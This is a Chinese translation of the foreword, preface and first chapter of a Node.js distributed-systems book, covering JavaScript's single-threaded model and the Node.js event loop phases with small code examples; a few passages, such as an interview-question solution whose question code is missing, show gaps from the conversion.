Node-分布式系统指南-全-
Node 分布式系统指南(全)
原文:
zh.annas-archive.org/md5/676da6fa0fa0f82bce444878e24868e1译者:飞龙
前言
在过去的十年中,Node.js 已经从新奇变成了新应用的事实标准平台。在此期间,我有机会帮助来自世界各地的成千上万的 Node.js 开发者定位自己,找到成功的道路。我见过 Node.js 用于各种用途。真的:有人甚至用 Node.js 构建了低级可引导操作系统。
在我在旧金山创建的 SFNode meetup 上,我们有一个超级演讲者,他比任何人都多发言。你猜对了:Thomas Hunter II,这本书的作者。虽然你可能可以用 Node.js 做任何事情,但有些实际的事情特别适合用 Node.js 来完成。在今天的云优先世界中,大多数系统都变成了分布式系统。在这本书和我在 SFNode 和全球各地看到 Thomas 进行的无数次演讲中,务实主义至上。这本书充满了经验测试过的、实用的指导,帮助你从今天的位置走向明天的目标。
JavaScript 语言使我们作为开发者能够以思想的速度创造。它需要很少的仪式感,我们编写的代码通常足够简单,手工编写比生成更为高效。JavaScript 的这种简单之美与 Node.js 完美契合。我们经常称之为 Node,它故意保持简约。Ryan Dahl,它的创造者,编写 Node 来构建比任何人习惯的应用服务器更简单和更快的应用。结果甚至超出了我们最疯狂的梦想。Node.js 的简便和简单性使你能够以前所未有的方式创建、验证和创新,这在 10 年前根本不可能实现。
在学习 Node.js 之前,我是一个全栈开发者,使用 JavaScript 构建交互式的基于 Web 的体验,使用 Java 提供 API 和后端服务。我会沉浸在 JavaScript 的创造性流程中,然后完全转向,将所有内容翻译成 Java 的对象模型。多么浪费时间啊!当我发现 Node.js 时,我终于能够在客户端和服务器上都有效率和有效地迭代。我真的放下一切,卖掉了房子,搬到旧金山与 Node.js 一起工作。
我用 Node.js 构建了数据聚合系统、社交媒体平台和视频聊天。然后我帮助 Netflix、PayPal、沃尔玛,甚至 NASA 学会如何有效地使用这个平台。JavaScript 的 API 很少是人们最大的挑战。最让人困惑的是异步编程模型。如果你不理解你正在使用的工具,你如何能够期望以最佳的结果使用这些工具呢?异步编程要求你像计算机系统一样思考,而不是按顺序执行的线性脚本。这种异步性是一个良好分布式系统的核心。
当 Thomas 要求我审阅这本书的目录以确保他已经涵盖了所有内容时,我注意到关于扩展性的部分以集群模块的概述开始。我立即将其标记为一个关注的重点。集群模块的创建是为了实现单实例并发,可以暴露到系统的单个端口上。我见过新手们使用这个功能并假设由于并发可能是可取的,集群模块就是他们需求的正确工具。在分布式系统中,实例级别的并发通常是浪费时间的。幸运的是,Thomas 和我意见一致,这导致我们在 SFNode 的顶级演讲者的精彩对话。
因此,当你作为一个 Node.js 开发者和分布式系统开发者建立你的能力时,请花时间了解你系统中的约束和机会。Node.js 拥有非常高效的 I/O 能力。我见过旧服务被移除并用 Node.js 实现后,下游系统变得不堪重负的情况。这些系统原本可以承受这些服务,添加一个简单的 Node.js 代理可以解决大多数问题,直到下游服务被更新或替换。
使用 Node 开发的便捷性可以让你尝试很多事情。不要害怕抛弃代码并重新开始。Node.js 的开发在迭代中茁壮成长。分布式系统让我们在服务级别隔离和封装逻辑,然后可以通过负载平衡来验证整个系统的性能。但不要仅仅听我的话。这本书的页面会向你展示如何做到这一点最有效。
在学习的过程中享受乐趣,并分享你所学到的东西。
Dan Shaw(@dshaw)
创始人兼首席技术官,NodeSource
Node.js 公司
始终相信 Node.js
序言
在 NodeSchool San Francisco 和 Ann Arbor PHP MySQL 团体之间,我花了几年时间教授他人如何编程。到目前为止,我已经与数百名学生合作,通常从安装所需软件并配置它的单调过程开始。之后,通过一点代码和大量解释,我们达到了学生程序运行的部分,一切都变得“顺畅”了。我总能感觉到它的发生:学生微笑着讨论他们新获得的技能可能带来的各种可能性,就像是视频游戏中的一个能力提升。
我的目标是通过本书为您重新创造那种令人兴奋的感觉。在这些页面中,您将找到许多实际示例,您可以在开发机器上运行各种后端服务,并使用示例 Node.js 应用程序代码与其进行交互。随之而来的是大量解释和小的离题讨论,以满足那些好奇心强的人。
完成本书后,您将安装并运行许多不同的服务,并且针对每个服务,您都将编写 Node.js 应用程序代码与其交互。本书更加强调这些交互,而不是审查 Node.js 应用程序代码本身。
JavaScript 是一种强大的语言,能够开发前端和后端应用程序。这使得我们很容易完全专注于学习语言本身,而避开周边的技术。本书的主旨是,我们 JavaScript 工程师通过与许多人认为只有使用传统企业平台如 Java 或 .NET 的工程师熟悉的技术进行第一手体验,会受益匪浅。
目标受众
本书不会教您如何使用 Node.js,并且为了从中获得最大收益,您应该已经编写过几个 Node.js 应用程序,并且对 JavaScript 有一个具体的理解。尽管如此,本书确实涵盖了一些关于 Node.js 和 JavaScript 的高级和不太知名的概念,例如 “JavaScript 的单线程特性” 和 “Node.js 事件循环”。您还应该熟悉 HTTP 的基础知识,至少使用过一种数据库来持久化状态,并且了解在运行中的 Node.js 进程中维护状态的易用性和危险性。
或许您已经在一家拥有运行后端服务基础架构的公司工作,并且渴望了解它的工作原理,以及您的 Node.js 应用程序可以从中受益。或者您有一个 Node.js 应用程序作为副业项目,厌倦了它的崩溃。您甚至可能是一家年轻创业公司的 CTO,决心满足不断增长的用户需求。如果您的情况与其中任何一种相似,那么这本书适合您。
目标
Node.js 通常用于构建前端 Web 应用程序。 本书不涵盖与前端开发或浏览器相关的任何主题。 已经有许多书籍涵盖了这样的内容。 相反,本书的目标是让您将后端 Node.js 服务与支持现代分布式系统的各种服务集成起来。
读完本书后,您将了解在生产环境中运行 Node.js 服务所需的许多技术。 例如,如何部署和扩展应用程序,如何使其冗余并对故障具有韧性,如何可靠地与其他分布式进程通信以及如何观察应用程序的健康状况。
仅凭阅读本书,您不会成为这些系统的专家。 例如,不涉及调整和分片以及将可扩展的 ELK 服务部署到生产所需的操作工作。 但是,您将了解如何运行本地 ELK 实例,将其日志发送到 Node.js 服务中,并创建用于可视化服务健康状况的仪表板(在“使用 ELK 进行日志记录”中介绍)。
本书当然不涵盖您所在公司使用的所有技术。 虽然第七章讨论了 Kubernetes,这是一个用于编排应用程序代码部署的技术,但您的雇主可能使用不同的解决方案,如 Apache Mesos。 或者您可能依赖云环境中的 Kubernetes 版本,其中底层实现对您隐藏。 无论如何,通过了解分布式后端服务堆栈中不同层的工具,您将更容易理解可能遇到的其他技术堆栈。
本书中使用的约定
本书使用以下排版约定:
斜体
指示新术语、URL、电子邮件地址、文件名和文件扩展名。
Constant width
用于程序清单,以及在段落中引用程序元素,例如变量或函数名称、数据库、数据类型、环境变量、语句和关键字。
Constant width bold
显示用户应按字面输入的命令或其他文本。
Constant width italic
显示应由用户提供的值或由上下文确定的值替换的文本。
提示
此元素表示提示或建议。
注意
此元素表示一般注释。
警告
此元素表示警告或注意事项。
使用代码示例
补充材料(代码示例、练习等)可在https://github.com/tlhunter/distributed-node下载。
如果您有技术问题或在使用代码示例时遇到问题,请发送电子邮件至bookquestions@oreilly.com。
本书旨在帮助您完成工作。一般来说,如果本书提供示例代码,您可以在您的程序和文档中使用它。除非您复制了代码的大部分,否则无需联系我们请求许可。例如,编写一个使用本书中几个代码块的程序不需要许可。出售或分发 O’Reilly 图书中的示例需要许可。通过引用本书回答问题并引用示例代码不需要许可。将本书中大量示例代码合并到产品文档中需要许可。
我们感谢,但通常不要求归属。归属通常包括标题、作者、出版商和 ISBN。例如:“使用 Node.js 进行分布式系统,作者 Thomas Hunter II(O’Reilly)。版权所有 2020 年 Thomas Hunter II,978-1-492-07729-9。”
如果您觉得您对代码示例的使用超出了合理使用范围或上述许可,请随时通过permissions@oreilly.com与我们联系。
O’Reilly 在线学习
注意
超过 40 年来,O’Reilly Media提供技术和商业培训、知识和见解,帮助公司取得成功。
我们独特的专家和创新者网络通过书籍、文章和我们的在线学习平台分享他们的知识和专长。O’Reilly 的在线学习平台为您提供按需访问实时培训课程、深入学习路径、交互式编码环境以及来自 O’Reilly 和其他 200 多家出版商的大量文本和视频。有关更多信息,请访问http://oreilly.com。
如何联系我们
请将有关本书的评论和问题发送至出版商:
-
O’Reilly Media, Inc.
-
1005 Gravenstein Highway North
-
Sebastopol, CA 95472
-
800-998-9938(美国或加拿大)
-
707-829-0515(国际或本地)
-
707-829-0104(传真)
我们为这本书创建了一个网页,列出勘误、示例和任何额外信息。您可以访问https://oreil.ly/dist-nodejs查看此页面。
发送电子邮件至bookquestions@oreilly.com评论或询问有关本书的技术问题。
有关我们的图书和课程的新闻和信息,请访问http://oreilly.com。
在 Facebook 上找到我们:http://facebook.com/oreilly
在 Twitter 上关注我们:http://twitter.com/oreillymedia
在 YouTube 上观看我们:http://youtube.com/oreillymedia
致谢
本书得以完成,要感谢以下人员提供的详细技术审查:
Fernando Larrañaga(@xabadu)
Fernando 是一位工程师、开源贡献者,多年来在南美和美国领导 JavaScript 和 Node.js 社区。他目前是 Square 公司的高级软件工程师,在 Twilio 和 Groupon 等其他主要科技公司任职过。他已经有七年多的时间开发企业级 Node.js 应用和扩展支持数百万用户的 Web 应用。
Bryan English (@bengl)
Bryan 是一位开源 JavaScript 和 Rust 程序员和爱好者,参与过大型企业系统、仪器化和应用安全的工作。目前是 Datadog 公司的高级开源软件工程师。他从 Node.js 初期就开始专业和个人项目中使用 Node.js,并且是 Node.js 核心合作者,在多个工作组中以多种方式贡献了 Node.js。
Julián Duque (@julian_duque)
Julián Duque 是社区领袖、公众演讲家、JavaScript/Node.js 传道者,以及官方 Node.js 合作者(名誉退休)。目前在 Salesforce Heroku 担任高级开发者倡导者,同时组织 JSConf 和 NodeConf Colombia,也在帮助组织 JSConf México 和 MedellinJS,哥伦比亚最大的 JavaScript 用户组,拥有 5000 多名注册会员。他对教育充满热情,通过不同的社区工作坊、专业培训和在线平台如 Platzi 教授软件开发基础、JavaScript 和 Node.js。
我也要特别感谢那些给予我指导和反馈的人:Dan Shaw (@dshaw), Brad Vogel (@BradVogel), Matteo Collina (@matteocollina), Matt Ranney (@mranney), 和 Rich Trott (@trott)。
第一章:为什么选择分布式?
Node.js 是一个用于在服务器上运行 JavaScript 代码的自包含运行时。它提供了一个 JavaScript 语言引擎和许多 API,其中许多允许应用程序代码与底层操作系统及其外部世界进行交互。但你可能已经知道这些了。
本章高层次地审视了 Node.js,特别是它与本书的关系。它探讨了 JavaScript 的单线程特性,同时也是其最大优势和最大弱点之一,也是运行 Node.js 在分布式方式下如此重要的原因之一。
它还包含一小组示例应用程序,作为基线,只在书中多次升级。这些应用程序的第一次迭代可能比你之前发布到生产环境的任何东西都要简单。
如果你发现你已经了解这些最初的几节中的信息,那么可以直接跳转到“示例应用程序”。
JavaScript 语言正在从单线程语言过渡到多线程语言。例如,Atomics对象提供了在不同线程之间协调通信的机制,而SharedArrayBuffer的实例可以跨线程写入和读取。尽管如此,在撰写本文时,多线程 JavaScript 仍未在社区中得到普及。今天的 JavaScript 是 多线程的,但它仍然是语言及其生态系统的特性是单线程的。
JavaScript 的单线程特性
JavaScript,像大多数编程语言一样,大量使用函数。函数是组合相关工作单元的一种方式。函数还可以调用其他函数。每当一个函数调用另一个函数时,它会向调用堆栈添加帧,这是说当前运行函数的堆栈正在变得越来越高的一种花哨方式。当你意外地编写了一个本应无限运行的递归函数时,通常会收到RangeError: Maximum call stack size exceeded错误。当这种情况发生时,你已经达到了调用堆栈中的帧的最大限制。
注意
最大调用堆栈大小通常无关紧要,并由 JavaScript 引擎选择。Node.js v14 使用的 V8 JavaScript 引擎的最大调用堆栈大小超过 15,000 帧。
然而,JavaScript 与一些其他语言不同,它不限制自己在 JavaScript 应用程序的整个生命周期中仅在单个调用堆栈内运行。例如,几年前我编写 PHP 时,PHP 脚本的整个生命周期(生命周期直接与提供 HTTP 请求的时间相关联)与一个单独的堆栈相关联,随着请求的完成而增长、收缩,然后消失。
JavaScript 通过事件循环来处理并发——同时执行多个任务。Node.js 使用的事件循环在 “Node.js 事件循环” 中有详细介绍,但现在可以将其看作是一个无限运行的循环,不断检查是否有任务要执行。当发现任务时,它开始执行任务——在这种情况下,执行一个新的调用堆栈中的函数——并在函数执行完成后等待更多的工作。
示例中的代码样本在 示例 1-1 中展示了这种情况。首先,在当前堆栈中运行 a() 函数。它还调用了 setTimeout() 函数,该函数将排队 x() 函数。一旦当前堆栈完成,事件循环会检查是否有更多的工作要做。事件循环只有在堆栈完成后才会检查是否有更多工作要做,并不是 每条指令执行后都检查。由于这个简单程序中没有太多事情发生,所以在第一个堆栈完成后,x() 函数将是接下来要运行的内容。
示例 1-1. 多个 JavaScript 堆栈的示例
function a() { b(); }
function b() { c(); }
function c() { /**/ }
function x() { y(); }
function y() { z(); }
function z() { /**/ }
setTimeout(x, 0);
a();
图 1-1 展示了前面代码示例的可视化效果。请注意,有两个独立的堆栈,并且随着调用更多函数,每个堆栈的深度都在增加。水平轴表示时间;每个函数中的代码自然需要一定的时间来执行。

图 1-1. 多个 JavaScript 堆栈的可视化
setTimeout() 函数基本上在说:“试着在 0 毫秒后运行提供的函数。”然而,x() 函数并不会立即运行,因为 a() 调用堆栈仍在进行中。甚至在 a() 调用堆栈完成后,它也不会立即运行。事件循环需要一定的时间来检查是否有更多工作要执行。还需要时间准备新的调用堆栈。因此,即使 x() 被安排在 0 毫秒后运行,实际上它可能需要几毫秒才能运行,这种差异随着应用程序负载的增加而增加。
另一个需要记住的是,函数可能需要很长时间才能运行。如果a()函数需要 100 毫秒运行,那么你应该期望x()函数最早可能在 101 毫秒时运行。因此,请将时间参数视为函数可以被调用的最早时间。需要长时间运行的函数被称为阻塞事件循环 —— 因为应用程序被困在处理慢同步代码中,事件循环暂时无法处理更多任务。
现在调用堆栈问题解决了,是时候进入本节的有趣部分了。
由于 JavaScript 应用程序主要以单线程方式运行,同一时间不会存在两个调用堆栈,这也是说两个函数不能并行运行的另一种说法。这意味着必须通过某种方式同时运行多个应用程序副本,以允许应用程序进行扩展。
有几种工具可用于更轻松地管理应用程序的多个副本。“集群模块”介绍了使用内置的cluster模块将传入的 HTTP 请求路由到不同的应用程序实例中。内置的worker_threads模块还有助于同时运行多个 JavaScript 实例。child_process模块可用于生成和管理完整的 Node.js 进程。
然而,使用每种方法时,JavaScript 仍然只能在应用程序中一次运行一行 JavaScript 代码。这意味着每个解决方案中,每个 JavaScript 环境仍然具有其自己独特的全局变量,并且不能共享任何对象引用。
由于对象不能直接在三个前述的方法之间共享,所以需要一些其他方法来在不同隔离的 JavaScript 上下文之间进行通信。确实存在这样的特性,称为消息传递。消息传递通过在不同隔离体之间共享某种对象/数据的序列化表示(如 JSON)来工作。这是必要的,因为直接共享对象是不可能的,更不用说如果两个独立的隔离体同时修改同一个对象会是一种痛苦的调试体验。这些问题被称为死锁和竞争条件。
注意
使用worker_threads可以实现在两个不同的 JavaScript 实例之间共享内存。这可以通过创建SharedArrayBuffer的实例,并使用用于工作线程消息传递的相同postMessage(value)方法将其从一个线程传递到另一个线程来实现。这导致两个线程都可以同时读取和写入的字节数组。
当数据被序列化和反序列化时,通过消息传递会产生开销。在支持适当多线程的语言中,不需要这样的开销,因为对象可以直接共享。
这是使得需要以分布式方式运行 Node.js 应用程序的最大因素之一。为了处理规模,需要运行足够多的实例,以便任何单个 Node.js 进程实例不会完全饱和其可用的 CPU。
现在你已经看过 JavaScript——Node.js 的基础语言——是时候来看看 Node.js 本身了。
惊喜面试问题的解决方案提供在 表 1-1 中。最重要的部分是消息打印的顺序,而奖励是它们打印的时间。如果您的奖励答案接近几毫秒的话,可以认为您的答案是正确的。
表 1-1. 惊喜面试解决方案
| 日志 | B | E | A | D | C |
|---|---|---|---|---|---|
| 时间 | 1ms | 501ms | 502ms | 502ms | 502ms |
发生的第一件事是安排一个在 0 毫秒超时的 log A 日志函数。回想一下,这并不意味着函数将在 0 毫秒内运行;相反,它被安排尽快在当前堆栈结束后运行。接下来直接调用 log B 方法,因此它是第一个打印的。然后,安排 log C 函数尽早在 100 毫秒运行,而 log D 安排在 0 毫秒之后尽早运行。
然后,应用程序忙于计算 while 循环,消耗了半秒钟的 CPU 时间。一旦循环结束,直接进行最后一次 log E 的调用,并且现在是第二个打印。当前堆栈现在已完成。
一旦完成这些,事件循环将继续寻找更多的工作来做。它检查队列并看到有三个计划要执行的任务。队列中的项目顺序基于提供的计时器值以及 setTimeout() 调用的顺序。因此,它首先处理 log A 函数。此时脚本已经运行了大约半秒钟,它发现 log A 已经超时大约 500 毫秒,因此执行该函数。队列中的下一个项目是 log D 函数,它也大约超时了 500 毫秒。最后,运行 log C 函数,它大约超时了 400 毫秒。
Node.js 简介
Node.js 在其内部模块中完全采用了延续传递风格(Continuation-Passing Style,CPS)模式,通过 回调——传递和在任务完成后由事件循环调用的函数来实现。在 Node.js 术语中,未来被调用的函数与新的堆栈运行被称为 异步。相反地,当一个函数在同一堆栈中调用另一个函数时,该代码被称为 同步 运行。
长时间运行的任务通常是 I/O 任务。例如,想象一下您的应用程序想执行两个任务。任务 A 是从磁盘读取文件,任务 B 是向第三方服务发送 HTTP 请求。如果操作依赖于这两个任务的同时执行——例如响应传入的 HTTP 请求——则应用程序可以并行执行操作,如 图 1-2 所示。如果它们不能同时执行——如果它们必须按顺序运行——那么响应传入的 HTTP 请求所需的总时间会更长。

图 1-2. 顺序 vs 并行 I/O 的可视化
起初,这似乎违反了 JavaScript 的单线程性质。如果 JavaScript 是单线程的,Node.js 应用程序如何同时从磁盘读取数据并且发起 HTTP 请求呢?
这是事情开始变得有趣的地方。Node.js 本身是多线程的。Node.js 的底层是用 C++ 编写的,包括处理操作系统抽象和 I/O 的第三方工具libuv,以及 V8(JavaScript 引擎)和其他第三方模块。再往上一层是 Node.js 绑定层,也包含一些 C++。只有 Node.js 的最高层是用 JavaScript 编写的,比如直接处理用户提供对象的 Node.js API 的部分。^(2) 图 1-3 描绘了这些不同层之间的关系。

图 1-3. Node.js 的层级
在内部,libuv 维护一个线程池来管理 I/O 操作,以及像 crypto 和 zlib 这样的 CPU-heavy 操作。这是一个有限大小的池子,允许进行 I/O 操作。如果池子只包含四个线程,那么同时只能读取四个文件。考虑 示例 1-3 中的情况,应用程序试图读取文件,然后处理文件内容。尽管应用程序中的 JavaScript 代码能够运行,但 Node.js 的深层线程正忙于将文件内容从磁盘读取到内存中。
示例 1-3. Node.js 线程
#!/usr/bin/env node
const fs = require('fs');
fs.readFile('/etc/passwd', 
(err, data) => { 
if (err) throw err;
console.log(data);
});
setImmediate( 
() => { 
console.log('This runs while file is being read');
});
Node.js 读取 /etc/passwd。由 libuv 调度。
Node.js 在新栈中运行回调。由 V8 调度。
上一个栈结束后,会创建一个新栈并打印一条消息。
文件读取完成后,libuv 将结果传递给 V8 事件循环。
提示
libuv 线程池的默认大小为四,最大为 1,024,并且可以通过设置 UV_THREADPOOL_SIZE=<threads> 环境变量进行覆盖。在实践中,修改它并不那么常见,应该在完全复制生产环境的完美基准测试之后才这样做。在 macOS 笔记本电脑上本地运行的应用程序与在 Linux 服务器上的容器中运行的应用程序表现会有很大的不同。
在内部,Node.js 维护一个需要完成的异步任务列表。此列表用于保持进程运行。当一个栈完成并且事件循环寻找更多工作时,如果没有更多的操作可以保持进程活跃,它将退出。这就是为什么一个完全不做任何异步操作的非常简单的应用程序在栈结束时能够退出的原因。以下是这样一个应用程序的例子:
console.log('Print, then exit');
然而,一旦创建了一个异步任务,这就足以保持进程活跃,就像这个例子中一样:
setInterval(() => {
console.log('Process will run forever');
}, 1_000);
有许多 Node.js API 调用会导致创建保持进程活跃的对象。作为这一点的另一个例子,当创建一个 HTTP 服务器时,它也会使进程永远运行下去。在创建 HTTP 服务器后立即关闭的进程是没有什么用处的。
在 Node.js API 中有一个常见的模式,其中这些对象可以被配置为不再保持进程活跃。其中一些比其他的更明显。例如,如果关闭了正在侦听的 HTTP 服务器端口,那么进程可能会选择结束。此外,许多这些对象附加了一对方法,.unref() 和 .ref()。前者用于告诉对象不再保持进程活跃,而后者则相反。示例 1-4 演示了这种情况发生。
示例 1-4. 常见的.ref()和.unref()方法
const t1 = setTimeout(() => {}, 1_000_000); 
const t2 = setTimeout(() => {}, 2_000_000); 
// ... t1.unref(); 
// ... clearTimeout(t2); 
现在有一个异步操作保持 Node.js 活跃。进程应该在 1,000 秒内结束。
现在有两个这样的操作。进程现在应该在 2,000 秒内结束。
t1 计时器已被取消引用。它的回调函数仍然可以在 1,000 秒后运行,但不会保持进程活跃。
t2 计时器已被清除,将不会再运行。这样做的一个副作用是不再保持进程活跃。由于没有剩余的异步操作来保持进程活跃,事件循环的下一次迭代将结束进程。
此示例还突出了 Node.js 的另一个特性:并非所有在浏览器 JavaScript 中存在的 API 在 Node.js 中都表现相同。例如,setTimeout() 函数在 Web 浏览器中返回一个整数。Node.js 实现返回一个带有多个属性和方法的对象。
已经多次提到事件循环,但它真的值得更详细地研究。
Node.js 事件循环
你的浏览器中运行的 JavaScript 和 Node.js 中运行的 JavaScript 都带有事件循环的实现。它们类似于在不同栈中调度和执行异步任务。但它们也不同,因为浏览器中使用的事件循环经过优化,用于支持现代单页面应用程序,而 Node.js 中的事件循环经过调优,用于服务器使用。本节主要介绍了 Node.js 中使用的事件循环。理解事件循环的基础知识是有益的,因为它处理所有应用程序代码的调度——误解可能导致性能下降。
正如其名称所示,事件循环在一个循环中运行。简单来说,它管理一系列事件的队列,用于触发回调并推动应用程序。但是,实现比这复杂得多。它在发生 I/O 事件时执行回调,例如在套接字接收到消息时、磁盘上的文件发生变化时、setTimeout() 回调准备运行时等。
在低级别上,操作系统通知程序发生了某事。然后,程序内部的 libuv 代码开始运行并找出该做什么。如果合适,消息会上升到 Node.js API 中的代码,最终可以触发应用程序代码中的回调。事件循环是一种允许这些在更低级别的 C++ 环境中的事件越过边界并在 JavaScript 中运行代码的方式。
事件循环阶段
事件循环有几个不同的阶段。其中一些阶段不直接涉及应用程序代码;例如,有些可能涉及运行内部 Node.js API 关心的 JavaScript 代码。提供了处理执行用户代码的概述,详见图 1-4。
这些阶段中的每一个都维护一个要执行的回调队列。根据应用程序使用的方式,回调被指定到不同的阶段。以下是关于这些阶段的一些细节:
轮询
轮询阶段执行与 I/O 相关的回调。这是应用程序代码最有可能执行的阶段。当你的主要应用程序代码开始运行时,它运行在这个阶段。
检查
在此阶段,通过 setImmediate() 触发的回调被执行。
关闭
此阶段执行通过 EventEmitter 的 close 事件触发的回调。例如,当 net.Server TCP 服务器关闭时,它会触发一个 close 事件,在此阶段运行一个回调。
计时器
使用 setTimeout() 和 setInterval() 调度的回调在此阶段执行。
挂起
特殊系统事件在此阶段运行,例如当 net.Socket TCP 套接字抛出 ECONNREFUSED 错误时。
为了使事情变得更复杂一些,还有两个特殊的微任务队列,可以在运行阶段期间向它们添加回调。第一个微任务队列处理使用 process.nextTick() 注册的回调。^(3) 第二个微任务队列处理拒绝或解析的 promise。微任务队列中的回调优先于阶段正常队列中的回调,并且下一个时钟微任务队列中的回调在 promise 微任务队列中的回调之前执行。

图 1-4. Node.js 事件循环的显著阶段
应用程序启动时,事件循环也启动,并逐一处理各个阶段。Node.js 在运行应用程序时根据需要将回调添加到不同的队列中。当事件循环进入某个阶段时,将运行该阶段队列中的所有回调。一旦某个阶段的所有回调都执行完毕,事件循环将移动到下一个阶段。如果应用程序没有其他事情可做,但正在等待 I/O 操作完成,则会停留在轮询阶段。
示例代码
理论很好,但要真正理解事件循环的工作原理,你必须亲自动手。本例使用了轮询、检查和计时器阶段。创建一个名为 event-loop-phases.js 的文件,并将示例 1-5 中的内容添加到其中。
示例 1-5. event-loop-phases.js
const fs = require('fs');
setImmediate(() => console.log(1));
Promise.resolve().then(() => console.log(2));
process.nextTick(() => console.log(3));
fs.readFile(__filename, () => {
console.log(4);
setTimeout(() => console.log(5));
setImmediate(() => console.log(6));
process.nextTick(() => console.log(7));
});
console.log(8);
如果你感兴趣,可以尝试猜测输出的顺序,但如果你的答案不匹配也不要气馁。这是一个有点复杂的主题。
脚本从轮询阶段逐行执行。首先,需要 fs 模块,并在幕后进行大量操作。接下来,调用 setImmediate(),将回调添加到检查队列中,打印数字 1。然后,promise 解析,将回调添加到 promise 微任务队列中,回调 2。接着是 process.nextTick() 运行,将回调添加到下一个时钟微任务队列中,回调 3。完成后,fs.readFile() 调用告诉 Node.js API 开始读取文件,并在准备就绪时将其回调放入轮询队列。最后,直接调用日志号 8 并将其打印到屏幕上。
到此为止,当前堆栈结束。现在要查看两个微任务队列。总是首先检查下一个时钟微任务队列,并调用回调 3。由于下一个时钟微任务队列中只有一个回调,因此接下来检查 promise 微任务队列。这里执行回调 2。这样完成了两个微任务队列,并且当前轮询阶段也完成了。
现在事件循环进入检查阶段。此阶段包含回调函数 1,并执行它。此时,两个微任务队列都为空,因此检查阶段结束。接下来检查关闭阶段,但为空,因此循环继续。定时器阶段和待处理阶段也发生同样的情况,并且事件循环继续回到轮询阶段。
一旦回到轮询阶段,应用程序没有太多其他操作,因此基本上会等待文件读取完成。一旦完成,将运行fs.readFile()回调。
数字 4 立即打印,因为它是回调中的第一行。接下来调用setTimeout(),并将回调函数 5 添加到定时器队列中。接下来发生setImmediate()调用,将回调函数 6 添加到检查队列中。最后,进行process.nextTick()调用,将回调函数 7 添加到下一个微任务队列中。轮询队列现在已完成,并且再次查询微任务队列。从下一个微任务队列运行回调函数 7,承诺队列查询为空,轮询阶段结束。
再次,事件循环切换到检查阶段,在此期间遇到回调函数 6。数字被打印,微任务队列确定为空,阶段结束。再次检查关闭阶段发现为空。最后,查询定时器阶段,在此期间执行回调函数 5。一旦完成,应用程序没有更多工作可做,因此退出。
日志语句按照以下顺序打印出来:8, 3, 2, 1, 4, 7, 6, 5。
当涉及到async函数和使用await关键字的操作时,代码仍然遵循相同的事件循环规则。主要区别在于语法。
这里是一个复杂代码的示例,它在等待语句与以更直接方式安排回调语句之间交织。仔细检查它,并写下你认为日志语句将被打印的顺序:
const sleep_st = (t) => new Promise((r) => setTimeout(r, t));
const sleep_im = () => new Promise((r) => setImmediate(r));
(async () => {
setImmediate(() => console.log(1));
console.log(2);
await sleep_st(0);
setImmediate(() => console.log(3));
console.log(4);
await sleep_im();
setImmediate(() => console.log(5));
console.log(6);
await 1;
setImmediate(() => console.log(7));
console.log(8);
})();
当涉及到async函数和以await开头的语句时,您几乎可以将它们视为使用嵌套回调或甚至链式.then()调用的代码的语法糖。以下示例是思考上一个示例的另一种方式。再次查看代码,并写下您认为日志命令将以哪种顺序打印:
setImmediate(() => console.log(1));
console.log(2);
Promise.resolve().then(() => setTimeout(() => {
setImmediate(() => console.log(3));
console.log(4);
Promise.resolve().then(() => setImmediate(() => {
setImmediate(() => console.log(5));
console.log(6);
Promise.resolve().then(() => {
setImmediate(() => console.log(7));
console.log(8);
});
}));
}, 0));
当您阅读第二个示例时,是否想出了不同的解决方案?它是否看起来更容易理解?这一次,您可以更轻松地应用已经涵盖的关于事件循环的相同规则。在这个示例中,希望更清楚,即使已解决的承诺使得随后的代码看起来应该更早运行,它们仍然必须等待底层的setTimeout()或setImmediate()调用才能继续执行程序。
日志语句按照以下顺序打印出来:2, 1, 4, 3, 6, 8, 5, 7。
事件循环技巧
在构建 Node.js 应用程序时,并不一定需要了解事件循环的这个细节层面。在许多情况下,“它只是工作”,通常无需担心哪些回调首先执行。尽管如此,在涉及事件循环时,还有一些重要的事情需要牢记。
不要饿死事件循环。 在单个堆栈中运行过多代码会使事件循环停滞,并阻止其他回调的触发。解决此问题的一种方法是将 CPU 密集型操作拆分到多个堆栈中。例如,如果您需要处理 1,000 条数据记录,您可以考虑将其拆分为 100 条记录的 10 批次,并在每个批次结束时使用 setImmediate() 继续处理下一批次。根据情况,将处理任务分派给子进程可能更合理。
您绝不应该使用 process.nextTick() 来分割这样的工作。这样做会导致一个永远不会清空的微任务队列,使您的应用程序永远被困在相同的阶段中!与无限递归函数不同,代码不会抛出 RangeError,而是会成为一个吃掉 CPU 资源的僵尸进程。查看以下示例以了解详情:
const nt_recursive = () => process.nextTick(nt_recursive);
nt_recursive(); // setInterval will never run
const si_recursive = () => setImmediate(si_recursive);
si_recursive(); // setInterval will run
setInterval(() => console.log('hi'), 10);
在本例中,setInterval() 表示应用程序执行的某些异步工作,例如响应传入的 HTTP 请求。一旦运行 nt_recursive() 函数,应用程序将得到一个永远不会清空的微任务队列,并且异步工作永远不会被处理。但是,替代版本 si_recursive() 不会产生同样的副作用。在检查阶段内使用 setImmediate() 调用会将回调添加到下一个事件循环迭代的检查阶段队列中,而不是当前阶段的队列中。
不要引入 Zalgo。 在暴露一个接受回调的方法时,该回调应始终异步运行。例如,编写以下代码非常容易:
// Antipattern
function foo(count, callback) {
if (count <= 0) {
return callback(new TypeError('count > 0'));
}
myAsyncOperation(count, callback);
}
当 count 设置为零时,回调有时会同步调用,有时会异步调用,如下所示。相反,请确保回调在新的堆栈中执行,例如:
function foo(count, callback) {
if (count <= 0) {
return process.nextTick(() => callback(new TypeError('count > 0')));
}
myAsyncOperation(count, callback);
}
在这种情况下,使用 setImmediate() 或 process.nextTick() 都可以;只需确保不要意外引入递归。通过重新编写的示例,回调始终异步运行。确保回调的一致运行很重要,因为出现以下情况:
let bar = false;
foo(3, () => {
assert(bar);
});
bar = true;
这可能看起来有点做作,但问题实质上是,当回调有时同步运行,有时异步运行时,bar 的值可能已经被修改,也可能未被修改。在实际应用中,这可能是访问可能已经初始化或未经初始化的变量之间的差异。
现在你对 Node.js 的内部工作有了更多了解,是时候构建一些样例应用程序了。
示例应用程序
在这一节中,你将构建一对简单的小型 Node.js 应用程序。它们故意简单,并且缺乏真实应用程序所需的功能。然后,你将在本书的其余部分逐渐增加这些基础应用程序的复杂性。
我在决定避免在这些示例中使用任何第三方包(例如,坚持使用内部的http模块)时曾犹豫不决,但使用这些包可以减少样板代码并增加清晰度。话虽如此,你可以根据自己偏好的框架或请求库进行选择;本书的目的并不是强制使用特定的包。
